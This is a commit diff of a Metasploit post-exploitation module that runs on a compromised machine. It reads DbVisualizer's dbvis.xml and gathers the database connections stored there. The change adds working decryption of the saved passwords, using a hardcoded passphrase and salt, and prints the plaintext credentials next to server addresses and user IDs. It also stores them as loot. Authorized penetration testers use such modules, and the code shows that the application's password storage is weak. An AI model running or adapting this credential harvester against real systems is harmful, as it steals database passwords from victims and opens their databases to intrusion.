5
5
6
6
require 'msf/core'
7
7
require 'msf/core/auxiliary/report'
8
+ require 'openssl'
9
+ require 'digest/md5'
8
10
9
11
class Metasploit3 < Msf ::Post
10
12
@@ -17,25 +19,29 @@ def initialize(info={})
17
19
'Name' => 'Multi Gather DbVisualizer Connections Settings' ,
18
20
'Description' => %q{
19
21
DbVisualizer stores the user database configuration in dbvis.xml.
20
- This module retrieves the connections settings from this file.
22
+ This module retrieves the connections settings from this file and decrypts the encrypted passwords .
21
23
} ,
22
24
'License' => MSF_LICENSE ,
23
25
'Author' => [ 'David Bloom' ] , # Twitter: @philophobia78
24
26
'Platform' => %w{ linux win } ,
25
27
'SessionTypes' => [ 'meterpreter' , 'shell' ]
26
28
) )
29
+ register_options (
30
+ [
31
+ OptString . new ( 'PASSPHRASE' , [ false , 'The hardcoded passphrase used for encryption' ] ) ,
32
+ OptInt . new ( 'ITERATION_COUNT' , [ false , 'The iteration count used in key derivation' , 10 ] )
33
+ ] , super . class )
27
34
end
28
35
29
36
def run
30
37
31
-
32
38
oldversion = false
33
39
34
40
case session . platform
35
41
when /linux/
36
- user = session . shell_command ( " whoami" ) . chomp
42
+ user = session . shell_command ( ' whoami' ) . chomp
37
43
print_status ( "Current user is #{ user } " )
38
- if ( user =~ /root/ )
44
+ if user =~ /root/
39
45
user_base = "/root/"
40
46
else
41
47
user_base = "/home/#{ user } /"
@@ -50,11 +56,10 @@ def run
50
56
dbvis_file = user_profile + "\\ .dbvis\\ config70\\ dbvis.xml"
51
57
end
52
58
53
-
54
59
unless file? ( dbvis_file )
55
60
# File not found, we next try with the old config path
56
61
print_status ( "File not found: #{ dbvis_file } " )
57
- print_status ( " This could be an older version of dbvis, trying old path" )
62
+ print_status ( ' This could be an older version of dbvis, trying old path' )
58
63
case session . platform
59
64
when /linux/
60
65
dbvis_file = "#{ user_base } .dbvis/config/dbvis.xml"
@@ -68,7 +73,6 @@ def run
68
73
oldversion = true
69
74
end
70
75
71
-
72
76
print_status ( "Reading: #{ dbvis_file } " )
73
77
print_line ( )
74
78
raw_xml = ""
@@ -89,20 +93,14 @@ def run
89
93
end
90
94
91
95
if db_table . rows . empty?
92
- print_status ( " No database settings found" )
96
+ print_status ( ' No database settings found' )
93
97
else
94
- print_line ( " \n " )
98
+ print_line
95
99
print_line ( db_table . to_s )
96
- print_good ( " Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !" )
100
+ print_good ( ' Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!' )
97
101
print_line ( )
98
- # store found databases
99
- p = store_loot (
100
- "dbvis.databases" ,
101
- "text/csv" ,
102
- session ,
103
- db_table . to_csv ,
104
- "dbvis_databases.txt" ,
105
- "dbvis databases" )
102
+ # Store found databases in loot
103
+ p = store_loot ( 'dbvis.databases' , 'text/csv' , session , db_table . to_csv , 'dbvis_databases.txt' , 'dbvis databases' )
106
104
print_good ( "Databases settings stored in: #{ p . to_s } " )
107
105
end
108
106
@@ -111,12 +109,11 @@ def run
111
109
print_good "dbvis.xml saved to #{ p . to_s } "
112
110
end
113
111
114
-
115
112
# New config file parse function
116
113
def parse_new_config_file ( raw_xml )
117
114
118
115
db_table = Rex ::Ui ::Text ::Table . new (
119
- 'Header' => "Dbvis Databases" ,
116
+ 'Header' => "DbVisualizer Databases" ,
120
117
'Indent' => 2 ,
121
118
'Columns' =>
122
119
[
@@ -126,18 +123,19 @@ def parse_new_config_file(raw_xml)
126
123
"Port" ,
127
124
"Database" ,
128
125
"Namespace" ,
129
- "Userid" ,
126
+ "UserID" ,
127
+ "Password"
130
128
] )
131
129
132
130
dbs = [ ]
133
131
db = { }
134
132
dbfound = false
135
- versionFound = false
133
+ version_found = false
136
134
# fetch config file
137
135
raw_xml . each_line do |line |
138
136
139
- if versionFound == false
140
- vesrionFound = find_version ( line )
137
+ if version_found == false
138
+ version_found = find_version ( line )
141
139
end
142
140
143
141
if line =~ /<Database id=/
@@ -157,37 +155,43 @@ def parse_new_config_file(raw_xml)
157
155
158
156
if dbfound == true
159
157
# get the alias
160
- if ( line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i )
158
+ if line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i
161
159
db [ :Alias ] = $1
162
160
end
163
161
164
162
# get the type
165
- if ( line =~ /<Type>([\S +\s +]+)<\/ Type>/i )
163
+ if line =~ /<Type>([\S +\s +]+)<\/ Type>/i
166
164
db [ :Type ] = $1
167
165
end
168
166
169
167
# get the user
170
- if ( line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i )
171
- db [ :Userid ] = $1
168
+ if line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i
169
+ db [ :UserID ] = $1
170
+ end
171
+
172
+ # get user password
173
+ if line =~ /<Password>([\S +\s +]+)<\/ Password>/i
174
+ enc_password = $1
175
+ db [ :Password ] = decrypt_password ( enc_password )
172
176
end
173
177
174
178
# get the server
175
- if ( line =~ /<UrlVariable UrlVariableName="Server">([\S +\s +]+)<\/ UrlVariable>/i )
179
+ if line =~ /<UrlVariable UrlVariableName="Server">([\S +\s +]+)<\/ UrlVariable>/i
176
180
db [ :Server ] = $1
177
181
end
178
182
179
183
# get the port
180
- if ( line =~ /<UrlVariable UrlVariableName="Port">([\S +]+)<\/ UrlVariable>/i )
184
+ if line =~ /<UrlVariable UrlVariableName="Port">([\S +\s + ]+)<\/ UrlVariable>/i
181
185
db [ :Port ] = $1
182
186
end
183
187
184
188
# get the database
185
- if ( line =~ /<UrlVariable UrlVariableName="Database">([\S +\s +]+)<\/ UrlVariable>/i )
189
+ if line =~ /<UrlVariable UrlVariableName="Database">([\S +\s +]+)<\/ UrlVariable>/i
186
190
db [ :Database ] = $1
187
191
end
188
192
189
193
# get the Namespace
190
- if ( line =~ /<UrlVariable UrlVariableName="Namespace">([\S +\s +]+)<\/ UrlVariable>/i )
194
+ if line =~ /<UrlVariable UrlVariableName="Namespace">([\S +\s +]+)<\/ UrlVariable>/i
191
195
db [ :Namespace ] = $1
192
196
end
193
197
end
@@ -196,40 +200,40 @@ def parse_new_config_file(raw_xml)
196
200
# Fill the tab and report eligible servers
197
201
dbs . each do |db |
198
202
if ::Rex ::Socket . is_ipv4? ( db [ :Server ] . to_s )
199
- print_good ( "Reporting #{ db [ :Server ] } " )
203
+ print_good ( "Reporting #{ db [ :Server ] } " )
200
204
report_host ( :host => db [ :Server ] ) ;
201
205
end
202
206
203
- db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Server ] , db [ :Port ] , db [ :Database ] , db [ :Namespace ] , db [ :Userid ] ]
207
+ db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Server ] , db [ :Port ] , db [ :Database ] , db [ :Namespace ] , db [ :UserID ] , db [ :Password ] ]
204
208
end
205
209
return db_table
206
210
end
207
211
208
-
209
212
# New config file parse function
210
213
def parse_old_config_file ( raw_xml )
211
214
212
215
db_table = Rex ::Ui ::Text ::Table . new (
213
- 'Header' => "Dbvis Databases" ,
216
+ 'Header' => 'DbVisualizer Databases' ,
214
217
'Indent' => 2 ,
215
218
'Columns' =>
216
219
[
217
- "Alias" ,
218
- "Type" ,
219
- "Url" ,
220
- "Userid" ,
220
+ 'Alias' ,
221
+ 'Type' ,
222
+ 'URL' ,
223
+ 'UserID' ,
224
+ 'Password'
221
225
] )
222
226
223
227
dbs = [ ]
224
228
db = { }
225
229
dbfound = false
226
- versionFound = false
230
+ version_found = false
227
231
228
232
# fetch config file
229
233
raw_xml . each_line do |line |
230
234
231
- if versionFound == false
232
- vesrionFound = find_version ( line )
235
+ if version_found == false
236
+ vesrion_found = find_version ( line )
233
237
end
234
238
235
239
if line =~ /<Database id=/
@@ -243,48 +247,84 @@ def parse_old_config_file(raw_xml)
243
247
244
248
if dbfound == true
245
249
# get the alias
246
- if ( line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i )
250
+ if line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i
247
251
db [ :Alias ] = $1
248
252
end
249
253
250
254
# get the type
251
- if ( line =~ /<Type>([\S +\s +]+)<\/ Type>/i )
255
+ if line =~ /<Type>([\S +\s +]+)<\/ Type>/i
252
256
db [ :Type ] = $1
253
257
end
254
258
255
259
# get the user
256
- if ( line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i )
257
- db [ :Userid ] = $1
260
+ if line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i
261
+ db [ :UserID ] = $1
258
262
end
259
263
260
- # get the user
261
- if ( line =~ /<Url>([\S +\s +]+)<\/ Url>/i )
262
- db [ :Url ] = $1
264
+ #get the user password
265
+ if line =~ /<Password>([\S +\s +]+)<\/ Password>/i
266
+ enc_password = $1
267
+ db [ :Password ] = decrypt_password ( enc_password )
263
268
end
269
+
270
+ # get the server URL
271
+ if line =~ /<Url>(\S +)<\/ Url>/i
272
+ db [ :URL ] = $1
273
+ end
274
+
264
275
end
265
276
end
266
277
267
278
# Fill the tab
268
279
dbs . each do |db |
269
- if ( db [ :Url ] =~ /[\S +\s +]+[\/ ]+([\S +\s +]+):[\S +]+/i )
280
+ if ( db [ :URL ] =~ /[\S +\s +]+[\/ ]+([\S +\s +]+):[\S +]+/i )
270
281
if ::Rex ::Socket . is_ipv4? ( $1. to_s )
271
282
print_good ( "Reporting #{ $1} " )
272
283
report_host ( :host => $1. to_s )
273
284
end
274
285
end
275
- db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Url ] , db [ :Userid ] ]
286
+ db_table << [ db [ :Alias ] , db [ :Type ] , db [ :URL ] , db [ :UserID ] , db [ :Password ] ]
276
287
end
277
288
return db_table
278
289
end
279
290
280
-
281
291
def find_version ( tag )
282
292
found = false
283
- if ( tag =~ /<Version>([\S +\s +]+)<\/ Version>/i )
284
- print_good ( "DbVisualizer version : #{ $1} " )
293
+ if tag =~ /<Version>([\S +\s +]+)<\/ Version>/i
285
294
found = true
295
+ print_good ( "DbVisualizer version: #{ $1} " )
296
+ end
297
+ found
298
+ end
299
+
300
+ def decrypt_password ( enc_password )
301
+ enc_password = Rex ::Text . decode_base64 ( enc_password )
302
+ dk , iv = get_derived_key
303
+ des = OpenSSL ::Cipher . new ( 'DES-CBC' )
304
+ des . decrypt
305
+ des . key = dk
306
+ des . iv = iv
307
+ password = des . update ( enc_password ) + des . final
308
+ end
309
+
310
+ def get_derived_key
311
+ key = passphrase + salt
312
+ iteration_count . times do
313
+ key = Digest ::MD5 . digest ( key )
286
314
end
287
- return found
315
+ return key [ 0 , 8 ] , key [ 8 , 8 ]
316
+ end
317
+
318
+ def salt
319
+ [ -114 , 18 , 57 , -100 , 7 , 114 , 111 , 90 ] . pack ( 'C*' )
320
+ end
321
+
322
+ def passphrase
323
+ datastore [ 'PASSPHRASE' ] || 'qinda'
324
+ end
325
+
326
+ def iteration_count
327
+ datastore [ 'ITERATION_COUNT' ] || 10
288
328
end
289
329
290
330
end
0 commit comments